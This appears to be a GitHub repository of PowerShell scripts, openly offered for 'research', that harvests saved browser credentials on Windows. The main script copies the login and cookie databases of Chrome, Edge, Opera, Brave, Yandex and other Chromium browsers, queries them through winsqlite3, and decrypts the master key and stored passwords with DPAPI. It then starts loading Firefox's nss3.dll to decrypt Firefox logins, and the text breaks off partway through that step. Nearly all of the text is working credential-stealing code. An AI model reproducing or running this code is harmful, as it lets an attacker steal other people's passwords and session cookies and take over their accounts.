├── LICENSE ├── README.md ├── get-browser-credentials.ps1 └── get-credentials-no-class.ps1 /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 vinhjaxt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # powershell-browser-credentials-obtain 2 | This repo is for research purpose only 3 | 4 | Run powershell file to get browser (Google Chrome, Edge, Firefox, ...) credentials 5 | -------------------------------------------------------------------------------- /get-browser-credentials.ps1: -------------------------------------------------------------------------------- 1 | # Add-Type -assembly System.Security 2 | [System.reflection.assembly]::LoadWithPartialName("System.Security") > $null 3 | [System.reflection.assembly]::LoadWithPartialName("System.IO") > $null 4 | function DynamicLoadDll { 5 | Param ($dllName, $methodName) 6 | $UnsafeNativeMethods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | return $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($UnsafeNativeMethods.GetMethod('GetModuleHandle')).Invoke($null, @($dllName)))), $methodName)) 8 | } 9 | Function Get-DelegateType { 10 | Param ( 11 | [Parameter(Position = 0, Mandatory = $False)] [Type[]] $parameters, 12 | [Parameter(Position = 1)] [Type] $returnType = [Void] 13 | ) 14 | $MyDelegateType = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 15 | $MyDelegateType.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameters).SetImplementationFlags('Runtime, Managed') 16 | $MyDelegateType.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $returnType, $parameters).SetImplementationFlags('Runtime, Managed') 17 | return $MyDelegateType.CreateType() 18 | } 19 | 20 | # SQLite 21 | if (-not ([System.Management.Automation.PSTypeName]'Win32').Type) { 22 | Add-Type -TypeDefinition @' 23 | using System; 24 | using System.Runtime.InteropServices; 25 | public static class Win32 { 26 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)] 27 | public static extern IntPtr GetModuleHandle(string lpModuleName); 28 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 29 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 30 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 31 | public static extern IntPtr LoadLibrary(string name); 32 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 33 | public static extern bool FreeLibrary(IntPtr hLib); 34 | } 35 | '@ 36 | } 37 | if (-not ([System.Management.Automation.PSTypeName]'WinSqlite').Type) { 38 | Add-Type -TypeDefinition @" 39 | using System; 40 | using System.Runtime.InteropServices; 41 | public static partial class WinSqlite { 42 | public const Int32 OK = 0; 43 | public const Int32 ERROR = 1; 44 | public const Int32 BUSY = 5; 45 | public const Int32 CONSTRAINT = 19; // Violation of SQL constraint 46 | public const Int32 MISUSE = 21; // SQLite interface was used in a undefined/unsupported way (i.e. using prepared statement after finalizing it) 47 | public const Int32 RANGE = 25; // Out-of-range index in sqlite3_bind_…() or sqlite3_column_…() functions. 48 | public const Int32 ROW = 100; // sqlite3_step() has another row ready 49 | public const Int32 DONE = 101; // sqlite3_step() has finished executing 50 | public const Int32 INTEGER = 1; 51 | public const Int32 FLOAT = 2; 52 | public const Int32 TEXT = 3; 53 | public const Int32 BLOB = 4; 54 | public const Int32 NULL = 5; 55 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_open")] 56 | public static extern IntPtr open( 57 | // [MarshalAs(UnmanagedType.LPStr)] 58 | String zFilename, 59 | ref IntPtr ppDB // db handle 60 | ); 61 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_exec" 62 | // , CharSet=CharSet.Ansi 63 | )] 64 | public static extern IntPtr exec ( 65 | IntPtr db , /* An open database */ 66 | // String sql , /* SQL to be evaluated */ 67 | IntPtr sql , /* SQL to be evaluated */ 68 | IntPtr callback, /* int (*callback)(void*,int,char**,char**) -- Callback function */ 69 | IntPtr cb1stArg, /* 1st argument to callback */ 70 | ref String errMsg /* Error msg written here ( char **errmsg) */ 71 | ); 72 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_errmsg" , CharSet=CharSet.Ansi)] 73 | public static extern IntPtr errmsg ( 74 | IntPtr db 75 | ); 76 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_prepare_v2", CharSet=CharSet.Ansi)] 77 | public static extern IntPtr prepare_v2 ( 78 | IntPtr db , /* Database handle */ 79 | String zSql , /* SQL statement, UTF-8 encoded */ 80 | IntPtr nByte , /* Maximum length of zSql in bytes. */ 81 | ref IntPtr sqlite3_stmt, /* int **ppStmt -- OUT: Statement handle */ 82 | IntPtr pzTail /* const char **pzTail -- OUT: Pointer to unused portion of zSql */ 83 | ); 84 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_int")] 85 | public static extern IntPtr bind_int( 86 | IntPtr stmt, 87 | IntPtr /* int */ index, 88 | IntPtr /* int */ value); 89 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_int64")] 90 | public static extern IntPtr bind_int64( 91 | IntPtr stmt, 92 | IntPtr /* int */ index, // TODO: Is IntPtr correct? 93 | Int64 value); 94 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_double")] 95 | public static extern IntPtr bind_double ( 96 | IntPtr stmt, 97 | IntPtr index, 98 | Double value 99 | ); 100 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_text")] 101 | public static extern IntPtr bind_text( 102 | IntPtr stmt, 103 | IntPtr index, 104 | // [MarshalAs(UnmanagedType.LPStr)] 105 | IntPtr value , /* const char* */ 106 | IntPtr x , /* What does this parameter do? */ 107 | IntPtr y /* void(*)(void*) */ 108 | ); 109 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_blob")] 110 | public static extern IntPtr bind_blob( 111 | IntPtr stmt, 112 | Int32 index, 113 | IntPtr value, 114 | Int32 length, // void* 115 | IntPtr funcPtr // void(*)(void*) 116 | ); 117 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_null")] 118 | public static extern IntPtr bind_null ( 119 | IntPtr stmt, 120 | IntPtr index 121 | ); 122 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_step")] 123 | public static extern IntPtr step ( 124 | IntPtr stmt 125 | ); 126 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_reset")] 127 | public static extern IntPtr reset ( 128 | IntPtr stmt 129 | ); 130 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_count")] 131 | public static extern Int32 column_count ( // Int32? IntPtr? Int64? 132 | IntPtr stmt 133 | ); 134 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_type")] // Compare with sqlite3_column_decltype() 135 | public static extern IntPtr column_type ( 136 | IntPtr stmt, 137 | Int32 index 138 | ); 139 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_double")] 140 | public static extern Double column_double ( 141 | IntPtr stmt, 142 | Int32 index 143 | ); 144 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_int")] // TODO: should not generally sqlite3_column_int64 be used? 145 | public static extern IntPtr column_int( 146 | IntPtr stmt, 147 | Int32 index 148 | ); 149 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_int64")] 150 | public static extern Int64 column_int64( 151 | IntPtr stmt, 152 | Int32 index 153 | ); 154 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_text" 155 | // , CharSet=CharSet.Ansi 156 | )] 157 | // [return: MarshalAs(UnmanagedType.LPStr)] 158 | public static extern IntPtr column_text ( 159 | IntPtr stmt, 160 | Int32 index 161 | ); 162 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_blob" 163 | )] 164 | public static extern IntPtr column_blob ( 165 | IntPtr stmt, 166 | Int32 index 167 | ); 168 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_bytes" 169 | )] 170 | public static extern Int32 column_bytes ( 171 | IntPtr stmt, 172 | Int32 index 173 | ); 174 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_finalize")] 175 | public static extern IntPtr finalize ( 176 | IntPtr stmt 177 | ); 178 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_close")] 179 | public static extern IntPtr close ( 180 | IntPtr db 181 | ); 182 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_last_insert_rowid")] 183 | public static extern Int64 last_insert_rowid ( 184 | IntPtr db 185 | ); 186 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_next_stmt")] 187 | public static extern IntPtr next_stmt ( 188 | IntPtr db, 189 | IntPtr stmt 190 | ); 191 | // [DllImport("winsqlite3.dll")] 192 | // public static extern IntPtr sqlite3_clear_bindings( 193 | // IntPtr stmt 194 | // ); 195 | } 196 | "@ 197 | } 198 | 199 | iex @' 200 | function utf8PointerToStr([IntPtr]$charPtr) { 201 | [OutputType([String])] 202 | # 203 | # Create a .NET/PowerShell string from the bytes 204 | # that are pointed at by $charPtr 205 | # 206 | [IntPtr] $i = 0 207 | [IntPtr] $len = 0 208 | 209 | while ( [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $len) -gt 0 ) { 210 | $len=$len+1 211 | } 212 | [byte[]] $byteArray = new-object byte[] $len 213 | 214 | while ( [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $i) -gt 0 ) { 215 | $byteArray[$i] = [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $i) 216 | $i=$i+1 217 | } 218 | 219 | return [System.Text.Encoding]::UTF8.GetString($byteArray) 220 | } 221 | 222 | function pointerToByteArray([IntPtr]$blobPtr, [Int32]$len) { 223 | [OutputType([Byte[]])] 224 | 225 | [byte[]] $byteArray = new-object byte[] $len 226 | 227 | for ($i = 0; $i -lt $len; $i++) { 228 | $byteArray[$i] = [Runtime.InteropServices.Marshal]::ReadByte($blobPtr, $i) 229 | } 230 | 231 | # 232 | # The comma between the return statement and the 233 | # $byteArray variable makes sure that a byte 234 | # array is returned rather than an array of objects. 235 | # See https://stackoverflow.com/a/61440166/180275 236 | # 237 | return ,$byteArray 238 | } 239 | 240 | function byteArrayToPointer([Byte[]] $ary) { 241 | 242 | [IntPtr] $heapPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($ary.Length); 243 | [Runtime.InteropServices.Marshal]::Copy($ary, 0, $heapPtr, $ary.Length); 244 | 245 | return $heapPtr 246 | } 247 | 248 | function strToUtf8Pointer([String] $str) { 249 | [OutputType([IntPtr])] 250 | # 251 | # Create a UTF-8 byte array on the unmanaged heap 252 | # from $str and return a pointer to that array 253 | # 254 | 255 | [Byte[]] $bytes = [System.Text.Encoding]::UTF8.GetBytes($str); 256 | 257 | # Zero terminated bytes 258 | [Byte[]] $bytes0 = new-object 'Byte[]' ($bytes.Length + 1) 259 | [Array]::Copy($bytes, $bytes0, $bytes.Length) 260 | 261 | return byteArrayToPointer $bytes0 262 | 263 | # [IntPtr] $heapPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($bytes0.Length); 264 | # [Runtime.InteropServices.Marshal]::Copy($bytes0, 0, $heapPtr, $bytes0.Length); 265 | 266 | # return $heapPtr 267 | } 268 | 269 | class sqliteDB { 270 | 271 | [IntPtr] hidden $db 272 | 273 | sqliteDB( 274 | [string] $dbFileName, 275 | [bool ] $new 276 | ) { 277 | 278 | if ($new) { 279 | if (test-path $dbFileName) { 280 | remove-item $dbFileName # Don't use '-errorAction ignore' to get error message 281 | } 282 | } 283 | 284 | $this.open($dbFileName, $new) 285 | 286 | } 287 | 288 | sqliteDB( 289 | [string] $dbFileName 290 | ) { 291 | $this.open($dbFileName, $false) 292 | } 293 | 294 | [void] hidden open( 295 | [string] $dbFileName, 296 | [bool ] $new 297 | ) { 298 | # 299 | # This method is not intended to be called directly, but 300 | # rather indirectly via the class's constructor. 301 | # This construct is necessary because PowerShell does not allow for 302 | # constructor chaining. 303 | # See https://stackoverflow.com/a/44414513 304 | # This is also the reason why this method is declared hidden. 305 | # 306 | 307 | [IntPtr] $db_ = 0 308 | $res = [WinSqlite]::open($dbFileName, [ref] $db_) 309 | $this.db = $db_ 310 | if ($res -ne [WinSqlite]::OK) { 311 | throw "Could not open $dbFileName" 312 | } 313 | } 314 | 315 | 316 | [void] exec( 317 | [String]$sql 318 | ) { 319 | 320 | [String]$errMsg = '' 321 | [IntPtr] $heapPtr = strToUtf8Pointer($sql) 322 | $res = [WinSqlite]::exec($this.db, $heapPtr, 0, 0, [ref] $errMsg) 323 | [Runtime.InteropServices.Marshal]::FreeHGlobal($heapPtr); 324 | 325 | if ($res -ne [WinSqlite]::OK) { 326 | write-warning "sqliteExec: $errMsg" 327 | } 328 | 329 | } 330 | 331 | [sqliteStmt] prepareStmt( 332 | [String] $sql 333 | ) { 334 | 335 | $stmt = [sqliteStmt]::new($this) 336 | [IntPtr] $handle_ = 0 337 | $res = [WinSqlite]::prepare_v2($this.db, $sql, -1, [ref] $handle_, 0) 338 | $stmt.handle = $handle_ 339 | 340 | if ($res -ne [WinSqlite]::OK) { 341 | write-warning "prepareStmt: sqlite3_prepare failed, res = $res" 342 | write-warning ($this.errmsg()) 343 | return $null 344 | } 345 | return $stmt 346 | } 347 | 348 | [IntPtr] hidden nextStmt([IntPtr] $stmtHandle) { 349 | return [WinSqlite]::next_stmt($this.db, $stmtHandle) 350 | } 351 | 352 | [void] close() { 353 | 354 | $openStmtHandles = new-object System.Collections.Generic.List[IntPtr] 355 | 356 | [IntPtr] $openStmtHandle = 0 357 | while ( ($openStmtHandle = $this.nextStmt($openStmtHandle)) -ne 0) { 358 | $openStmtHandles.add($openStmtHandle) 359 | } 360 | foreach ($openStmtHandle in $openStmtHandles) { 361 | $res = [WinSqlite]::finalize($openStmtHandle) 362 | if ($res -ne [WinSqlite]::OK) { 363 | throw "sqliteFinalize: res = $res" 364 | } 365 | } 366 | 367 | $res = [WinSqlite]::close($this.db) 368 | 369 | if ($res -ne [WinSqlite]::OK) { 370 | 371 | if ($res -eq [WinSqlite]::BUSY) { 372 | write-warning "Close database: database is busy" 373 | } 374 | else { 375 | write-warning "Close database: $res" 376 | write-warning ($this.errmsg()) 377 | } 378 | write-error ($this.errmsg()) 379 | throw "Could not close database" 380 | } 381 | } 382 | 383 | [Int64] last_insert_rowid() { 384 | return [WinSqlite]::last_insert_rowid($this.db) 385 | } 386 | 387 | [String] errmsg() { 388 | return utf8PointerToStr ([WinSqlite]::errmsg($this.db)) 389 | } 390 | 391 | static [String] version() { 392 | $h = [Win32]::GetModuleHandle('winsqlite3.dll') 393 | if ($h -eq 0) { 394 | return 'winsqlite3.dll is probably not yet loaded' 395 | } 396 | $a = [Win32]::GetProcAddress($h, 'sqlite3_version') 397 | return utf8PointerToStr $a 398 | } 399 | } 400 | 401 | class sqliteStmt { 402 | 403 | [IntPtr ] hidden $handle 404 | [sqliteDB] hidden $db 405 | 406 | # 407 | # Poor man's management of allocated memory on the heap. 408 | # This is necessary(?) because the SQLite statement interface expects 409 | # a char* pointer when binding text. This char* pointer must 410 | # still be valid at the time when the statement is executed. 411 | # I was unable to achieve that without allocating a copy of the 412 | # string's bytes on the heap and then release it after the 413 | # statement-step is executed. 414 | # There are possibly more elegant ways to achieve this, who knows? 415 | # 416 | [IntPtr[]] hidden $heapAllocs 417 | 418 | sqliteStmt([sqliteDB] $db_) { 419 | $this.db = $db_ 420 | $this.handle = 0 421 | $this.heapAllocs = @() 422 | } 423 | 424 | [void] bind( 425 | [Int ] $index, 426 | [Object] $value 427 | ) { 428 | 429 | if ($value -eq $null) { 430 | $res = [WinSqlite]::bind_null($this.handle, $index) 431 | } 432 | elseif ($value -is [String]) { 433 | [IntPtr] $heapPtr = strToUtf8Pointer($value) 434 | 435 | # 436 | # The fourth parameter to sqlite3_bind_text() specifies the 437 | # length of data that is pointed at in the third parameter ($heapPtr). 438 | # A negative value indicates that the data is terminated by a byte 439 | # whose value is zero. 440 | # 441 | $res = [WinSqlite]::bind_text($this.handle, $index, $heapPtr, -1, 0) 442 | 443 | # 444 | # Keep track of allocations on heap, free later 445 | # 446 | $this.heapAllocs += $heapPtr 447 | } 448 | elseif ( $value -is [Int32]) { 449 | $res = [WinSqlite]::bind_int($this.handle, $index, $value) 450 | } 451 | elseif ( $value -is [Int64]) { 452 | $res = [WinSqlite]::bind_int64($this.handle, $index, $value) 453 | } 454 | elseif ( $value -is [Double]) { 455 | $res = [WinSqlite]::bind_double($this.handle, $index, $value) 456 | } 457 | elseif ( $value -is [Bool]) { 458 | $res = [WinSqlite]::bind_double($this.handle, $index, $value) 459 | } 460 | elseif ( $value -is [Byte[]]) { 461 | 462 | [IntPtr] $heapPtr = byteArrayToPointer $value 463 | $res = [WinSqlite]::bind_blob($this.handle, $index, $heapPtr, $value.length, 0) 464 | # 465 | # Keep track of allocations on heap, free later 466 | # 467 | $this.heapAllocs += $heapPtr 468 | } 469 | else { 470 | throw "type $($value.GetType()) not (yet?) supported" 471 | } 472 | 473 | if ($res -eq [WinSqlite]::OK) { 474 | return 475 | } 476 | 477 | if ($res -eq [WinSqlite]::MISUSE) { 478 | write-warning $this.db.errmsg() 479 | throw "sqliteBind: interface was used in undefined/unsupported way (index = $index, value = $value)" 480 | } 481 | 482 | if ($res -eq [WinSqlite]::RANGE) { 483 | throw "sqliteBind: index $index with value = $value is out of range" 484 | } 485 | 486 | write-warning $this.db.errmsg() 487 | write-warning "index: $index, value: $value" 488 | throw "sqliteBind: res = $res" 489 | } 490 | 491 | [IntPtr] step() { 492 | $res = [WinSqlite]::step($this.handle) 493 | foreach ($p in $this.heapAllocs) { 494 | [IntPtr] $retPtr = [Runtime.InteropServices.Marshal]::FreeHGlobal($p); 495 | } 496 | 497 | # 498 | # Free the alloc'd memory that was necessary to pass 499 | # strings to the sqlite engine: 500 | # 501 | $this.heapAllocs = @() 502 | 503 | return $res 504 | } 505 | 506 | [void] reset() { 507 | $res = [WinSqlite]::reset($this.handle) 508 | 509 | if ($res -eq [WinSqlite]::CONSTRAINT) { 510 | write-warning ($this.db.errmsg()) 511 | throw "sqliteRest: violation of constraint" 512 | } 513 | 514 | if ($res -ne [WinSqlite]::OK) { 515 | throw "sqliteReset: res = $res" 516 | } 517 | } 518 | 519 | 520 | [Int32] column_count() { 521 | # 522 | # column_count returns the number of columns of 523 | # a select statement. 524 | # 525 | # For non-select statemnt (insert, delete…), column_count 526 | # return 0. 527 | # 528 | return [WinSqlite]::column_count($this.handle) 529 | } 530 | 531 | 532 | [Int32] column_type( 533 | [Int] $index 534 | ) { 535 | return [WinSqlite]::column_type($this.handle, $index) 536 | } 537 | 538 | [Int32] column_bytes( 539 | [Int] $index 540 | ) { 541 | return [WinSqlite]::column_bytes($this.handle, $index) 542 | } 543 | 544 | 545 | [object] col( 546 | [Int] $index 547 | ) { 548 | 549 | $colType =$this.column_type($index) 550 | switch ($colType) { 551 | 552 | ([WinSqlite]::INTEGER) { 553 | # 554 | # Be safe and return a 64-bit integer because there does 555 | # not seem a way to determine if a 32 or 64-bit integer 556 | # was inserted. 557 | # 558 | return [WinSqlite]::column_int64($this.handle, $index) 559 | } 560 | ([WinSqlite]::FLOAT) { 561 | return [WinSqlite]::column_double($this.handle, $index) 562 | } 563 | ([WinSqlite]::TEXT) { 564 | [IntPtr] $charPtr = [WinSqlite]::column_text($this.handle, $index) 565 | return utf8PointerToStr $charPtr 566 | } 567 | ([WinSqlite]::BLOB) { 568 | 569 | [IntPtr] $blobPtr = [WinSqlite]::column_blob($this.handle, $index) 570 | return pointerToByteArray $blobPtr $this.column_bytes($index) 571 | } 572 | ([WinSqlite]::NULL) { 573 | return $null 574 | } 575 | default { 576 | throw "This should not be possible $([WinSqlite]::sqlite3_column_type($this.handle, $index))" 577 | } 578 | } 579 | return $null 580 | } 581 | 582 | [void] bindArrayStepReset([object[]] $cols) { 583 | $colNo = 1 584 | foreach ($col in $cols) { 585 | $this.bind($colNo, $col) 586 | $colNo ++ 587 | } 588 | $this.step() 589 | $this.reset() 590 | } 591 | 592 | [void] finalize() { 593 | $res = [WinSqlite]::finalize($this.handle) 594 | 595 | if ($res -ne [WinSqlite]::OK) { 596 | throw "sqliteFinalize: res = $res" 597 | } 598 | } 599 | } 600 | '@ 601 | # /SQLite 602 | 603 | Function Convert-HexToByteArray { 604 | [cmdletbinding()] 605 | param( 606 | [parameter(Mandatory=$true)] 607 | [String] 608 | $HexString 609 | ) 610 | 611 | $Bytes = [byte[]]::new($HexString.Length / 2) 612 | For($i=0; $i -lt $HexString.Length; $i+=2){ 613 | $Bytes[$i/2] = [convert]::ToByte($HexString.Substring($i, 2), 16) 614 | } 615 | $Bytes 616 | } 617 | 618 | # $hexdecKey = ($decKey | ForEach-Object ToString X2) -join '' #Convert byte[] to hex 619 | Function Convert-ByteArrayToHex { 620 | [cmdletbinding()] 621 | param( 622 | [parameter(Mandatory=$true)] 623 | [Byte[]] 624 | $Bytes 625 | ) 626 | $HexString = [System.Text.StringBuilder]::new($Bytes.Length * 2) 627 | ForEach($byte in $Bytes){ 628 | $HexString.AppendFormat("{0:x2}", $byte) > $null 629 | } 630 | $HexString.ToString() 631 | } 632 | 633 | function Read-ChromiumLCData { 634 | param ( 635 | $master_key, 636 | $path, 637 | $query 638 | ) 639 | 640 | $_rows = [System.Collections.Generic.List[System.Collections.Generic.List[string]]]::new() 641 | $sDatabasePath="$env:LocalAppData\SQLiteData" 642 | copy-item "$path" "$sDatabasePath" 643 | 644 | 645 | [sqliteDB] $db = [sqliteDB]::new($sDatabasePath, $false) 646 | $stmt = $db.prepareStmt($query) 647 | 648 | if (-not $stmt) { 649 | return @(); 650 | } 651 | 652 | while ( $stmt.step() -ne [WinSqlite]::DONE ) { 653 | try { 654 | $encrypted_data = $stmt.col(2); 655 | if ($encrypted_data.StartsWith("763130") -or $encrypted_data.StartsWith("763131") -or $encrypted_data.StartsWith("76313")) { 656 | # v10, v11, v1x 657 | # Ciphertext bytes run 0-2="V10"; 3-14=12_byte_IV; 15 to len-17=payload; final-16=16_byte_auth_tag 658 | 659 | # $encrypted_data = Convert-HexToByteArray $encrypted_data 660 | # [byte[]]$signature = $encrypted_data[0..2] 661 | # [byte[]]$iv = $encrypted_data[3..14] 662 | # [byte[]]$encData = $encrypted_data[15..($encrypted_data.Length-1-16)] 663 | # [byte[]]$auth_tag = $encrypted_data[-16..-1] 664 | 665 | # [byte[]]$auth_tag = $encrypted_data[($encrypted_data.Length-16)..($encrypted_data.Length-1)] 666 | 667 | # Write-Host "SIGNATURE: $signature" 668 | # Write-Host "IV: $iv" 669 | # Write-Host "EncData: $encData" 670 | # Write-Host "Auth Tag: $auth_tag" 671 | 672 | [void]$_rows.Add(@( 673 | $stmt.col(0), 674 | $stmt.col(1), 675 | $encrypted_data 676 | # [System.Convert]::ToBase64String($encrypted_data) 677 | )) 678 | continue 679 | } 680 | if ($encrypted_data.StartsWith("01000000")) { 681 | $encrypted_data = Convert-HexToByteArray $encrypted_data 682 | $UnprotectScope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser 683 | $decrypted_data = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted_data, $null, $UnprotectScope) 684 | $decrypted_data = [System.Text.Encoding]::ASCII.GetString($decrypted_data) 685 | [void]$_rows.Add(@( 686 | $stmt.col(0), 687 | $stmt.col(1), 688 | $decrypted_data 689 | # [System.Convert]::ToBase64String($encrypted_data) 690 | )) 691 | continue 692 | } 693 | [void]$_rows.Add(@( 694 | $stmt.col(0), 695 | $stmt.col(1), 696 | $encrypted_data 697 | # [System.Convert]::ToBase64String($encrypted_data) 698 | )) 699 | }catch{} 700 | } 701 | 702 | $stmt.finalize() 703 | $db.close() 704 | 705 | Remove-Item -path "$sDatabasePath" 2> $null 706 | 707 | return $_rows 708 | } 709 | 710 | function Read-ChromiumLocalState { 711 | param ( 712 | $path 713 | ) 714 | 715 | $localStateFile = "$env:LocalAppData\ChromiumLocalState" 716 | copy-item "$path" "$localStateFile" 717 | $encrypted_key = [System.Convert]::FromBase64String((Select-String -Path "$localStateFile" '"encrypted_key":"([^"]+?)"' -AllMatches | Foreach-Object {$_.Matches} | Foreach-Object {$_.Groups[1].Value})) 718 | Remove-Item -path "$localStateFile" 2> $null 719 | 720 | $UnprotectScope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser 721 | $decrypted_key = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted_key[5..$encrypted_key.length], $null, $UnprotectScope) 722 | return [System.Convert]::ToBase64String($decrypted_key) 723 | } 724 | 725 | $data = [ordered]@{} 726 | 727 | # Chromium 728 | # https://chromium.googlesource.com/chromium/src/+/HEAD/docs/user_data_dir.md 729 | $chrome = @("Chrome", "Chrome Beta", "Chrome SxS") 730 | $chromiumPaths = @() 731 | foreach($_item in $chrome) { 732 | $chromiumPaths += "$env:LocalAppData\Google\$_item" 733 | } 734 | 735 | # Untested 736 | $chromiumPaths += "$env:LocalAppData\Chromium" 737 | $chromiumPaths += "$env:AppData\Opera Software\Opera Stable" 738 | $chromiumPaths += "$env:AppData\Opera Software\Opera GX Stable" 739 | $chromiumPaths += "$env:LocalAppData\Microsoft\Edge" 740 | $chromiumPaths += "$env:LocalAppData\CocCoc\Browser" 741 | $chromiumPaths += "$env:LocalAppData\BraveSoftware\Brave-Browser" 742 | $chromiumPaths += "$env:LocalAppData\Yandex\YandexBrowser" 743 | $chromiumPaths += "$env:LocalAppData\Tencent\QQBrowser" 744 | 745 | foreach ($chromiumPath in $chromiumPaths) { 746 | if ( -not (Test-Path -Path "$chromiumPath") ) { 747 | continue 748 | } 749 | $data[$chromiumPath] = @{} 750 | try{ 751 | # Read local state data 752 | $data[$chromiumPath]['decrypted_key'] = Read-ChromiumLocalState -path "$chromiumPath\User Data\Local State" 753 | }catch{} 754 | 755 | # Read dir 756 | $folders = Get-ChildItem -Name -Directory "$chromiumPath\User Data" 757 | foreach ($_folder in $folders) { 758 | $folder = $_folder.ToLower() 759 | if (-not ($folder -eq "default" -or $folder.StartsWith("profile "))) { 760 | continue 761 | } 762 | $data[$chromiumPath][$_folder] = [ordered]@{} 763 | try { 764 | # Read logins data 765 | $data[$chromiumPath][$_folder]['logins'] = Read-ChromiumLCData -master_key "$data['decrypted_key']" -path "$chromiumPath\User Data\$_folder\Login Data" -query 'select origin_url,username_value,hex(password_value) from logins' 766 | }catch{} 767 | try { 768 | # Read cookies data 769 | $data[$chromiumPath][$_folder]['cookies'] = Read-ChromiumLCData -master_key "$data['decrypted_key']" -path "$chromiumPath\User Data\$_folder\Cookies" -query 'select host_key,name,hex(encrypted_value) from cookies' 770 | }catch{} 771 | } 772 | 773 | } 774 | 775 | # Firefox decryptor 776 | try { 777 | # Load nss3.dll 778 | $nssdllhandle = [IntPtr]::Zero 779 | 780 | $mozillapaths = $( 781 | "$env:HOMEDRIVE\Program Files\Mozilla Firefox", 782 | "$env:HOMEDRIVE\Program Files (x86)\Mozilla Firefox", 783 | "$env:HOMEDRIVE\Program Files\Nightly", 784 | "$env:HOMEDRIVE\Program Files (x86)\Nightly" 785 | ) 786 | 787 | $mozillapath = "" 788 | foreach ($p in $mozillapaths) { 789 | if (Test-Path -path "$p\nss3.dll") { 790 | $mozillapath = $p 791 | break 792 | } 793 | } 794 | 795 | if ( ("$mozillapath" -ne "") -and (Test-Path -path "$mozillapath") ) { 796 | $nss3dll = "$mozillapath\nss3.dll" 797 | $mozgluedll = "$mozillapath\mozglue.dll" 798 | $msvcr120dll = "$mozillapath\msvcr120.dll" 799 | $msvcp120dll = "$mozillapath\msvcp120.dll" 800 | if(Test-Path $msvcr120dll) { 801 | $msvcr120dllHandle = [Win32]::LoadLibrary($msvcr120dll) 802 | $LastError= [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 803 | Write-Verbose "Last Error when loading msvcr120.dll: $LastError" 804 | } 805 | 806 | if(Test-Path $msvcp120dll) { 807 | $msvcp120dllHandle = [Win32]::LoadLibrary($msvcp120dll) 808 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 809 | Write-Verbose "Last Error loading 